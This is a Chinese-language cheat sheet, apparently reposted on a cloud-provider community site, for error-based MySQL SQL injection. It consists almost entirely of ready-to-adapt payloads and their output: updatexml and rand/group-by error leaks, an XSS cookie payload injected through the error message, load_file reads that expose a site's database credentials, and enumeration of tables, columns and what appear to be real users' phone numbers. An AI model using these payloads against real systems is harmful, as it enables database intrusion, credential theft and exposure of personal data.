mysql基於“報錯”的注入

來源:互聯網
上載者:User

標籤:

報錯是如何轉為xss的?

mysql語句在頁面報錯,泄露資訊=========================================================================================================================================================================*報錯方式之“updatexml”,有字數限制,但無需配合union。-mysql> select updatexml(1, concat(‘:‘, ‘test‘), 1);ERROR 1105 (HY000): XPATH syntax error: ‘:test‘-mysql> select updatexml(1, concat(0x3a, ‘test‘), 1);ERROR 1105 (HY000): XPATH syntax error: ‘:test‘-mysql> select updatexml(1, concat(0x5e, ‘test‘), 1);ERROR 1105 (HY000): XPATH syntax error: ‘^test‘-mysql>  select * from f_user where id=1 or 1=updatexml(1,concat(0x5e, ‘test‘),1);ERROR 1105 (HY000): XPATH syntax error: ‘^test‘**將上面‘test’換成你的子查詢語句或函數均可。*group by+rand(0)+having,無字數限制,無需配合union。-mysql>  select * from f_user where id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0);ERROR 1062 (23000): Duplicate entry ‘5.6.21-log~1‘ for key ‘group_key‘*報錯方式之“rand+count+group by”,需配合unionrand(0)無論在哪台機器運行多少次,產生的序列都是一樣的參考mysql開發人員社區曝光的bug http://bugs.mysql.com/bug.php?id=8652-mysql>  select 1,2,count(*),concat(‘test‘, char(0x5e), floor(rand(0)*2))x from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘test^1‘ for key ‘group_key‘-mysql>  select 1,2,count(*),concat(‘test‘, char(0x5e), left(rand(0),3))x from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘test^0.7‘ for key ‘group_key‘**將上面‘test’換成你的子查詢語句或函數均可。mysql轉xss語句mysql>  select 1,2,count(*),concat((select 0x2F3E3C696D67207372633D226675636B22206F6E6572726F723D616C65727428646F63756D656E742E636F6F6B6965293E), char(0x5e), left(rand(0),3))x from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘/><img src="fuck" onerror=alert(document.cookie)>^0.7‘ for key ‘group_key‘直接爆設定檔密碼,前提是有file許可權mysql>select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),150,40) ),1);ERROR 1105 (HY000): XPATH syntax error: ‘:‘DB_NAME‘   => ‘fan******un‘,‘mysql>  select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),200,40) ),1);ERROR 1105 (HY000): XPATH syntax error: ‘:‘DB_USER‘   => ‘s*********b‘, /‘mysql>  select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),250,40) ),1);ERROR 1105 (HY000): XPATH syntax error: ‘:PWD‘    => ‘hahahaahhah‘,‘爆版本mysql> select 1,2,3,4 union select distinct concat((select version()),floor(rand(0)*2))a, count(*),3,4 from information_schema.tables group by a;ERROR 1062 (23000): Duplicate entry ‘5.6.21-log1‘ for key ‘group_key‘爆庫名mysql> select info();ERROR 1305 (42000): FUNCTION fangjiangjun.info does not existmysql> select count(*), ( concat( (select database()), char(0x5e), floor(rand(0)*2) ) )x from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘fangjiangjun^1‘ for key ‘group_key‘爆表名mysql> select concat( (select distinct table_name from information_schema.tables limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry ‘CHARACTER_SETS^1‘ for key ‘group_key‘mysql> select concat( (select distinct table_name from information_schema.tables limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry ‘COLLATIONS^1‘ for key ‘group_key‘mysql> select concat( (select distinct table_name from information_schema.tables limit 2,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry ‘COLLATION_CHARACTER_SET_APPLICABILITY^1‘ for key ‘group_key‘mysql> select concat( (select distinct table_name from information_schema.tables where table_schema=‘fangjiangjun‘ limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘f_admin^1‘ for key ‘group_key‘mysql> select concat( (select distinct table_name from information_schema.tables where table_schema=‘fangjiangjun‘ limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘f_admin_role^1‘ for key ‘group_key‘爆欄位名mysql>  select concat( (select distinct column_name from information_schema.columns where table_schema=‘fangjiangjun‘ and table_name=‘f_user‘ limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘id^1‘ for key ‘group_key‘mysql>  select concat( (select distinct column_name from information_schema.columns where table_schema=‘fangjiangjun‘ and table_name=‘f_user‘ limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;ERROR 1062 (23000): Duplicate entry ‘login_time^1‘ for key ‘group_key‘爆欄位值mysql>  select concat( (select mobile_phone from fangjiangjun.f_user order by id limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry ‘18602029479^1‘ for key ‘group_key‘mysql>  select concat( (select mobile_phone from fangjiangjun.f_user order by id limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x; ERROR 1062 (23000): Duplicate entry ‘15602267509^1‘ for key ‘group_key‘

  

mysql基於“報錯”的注入

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.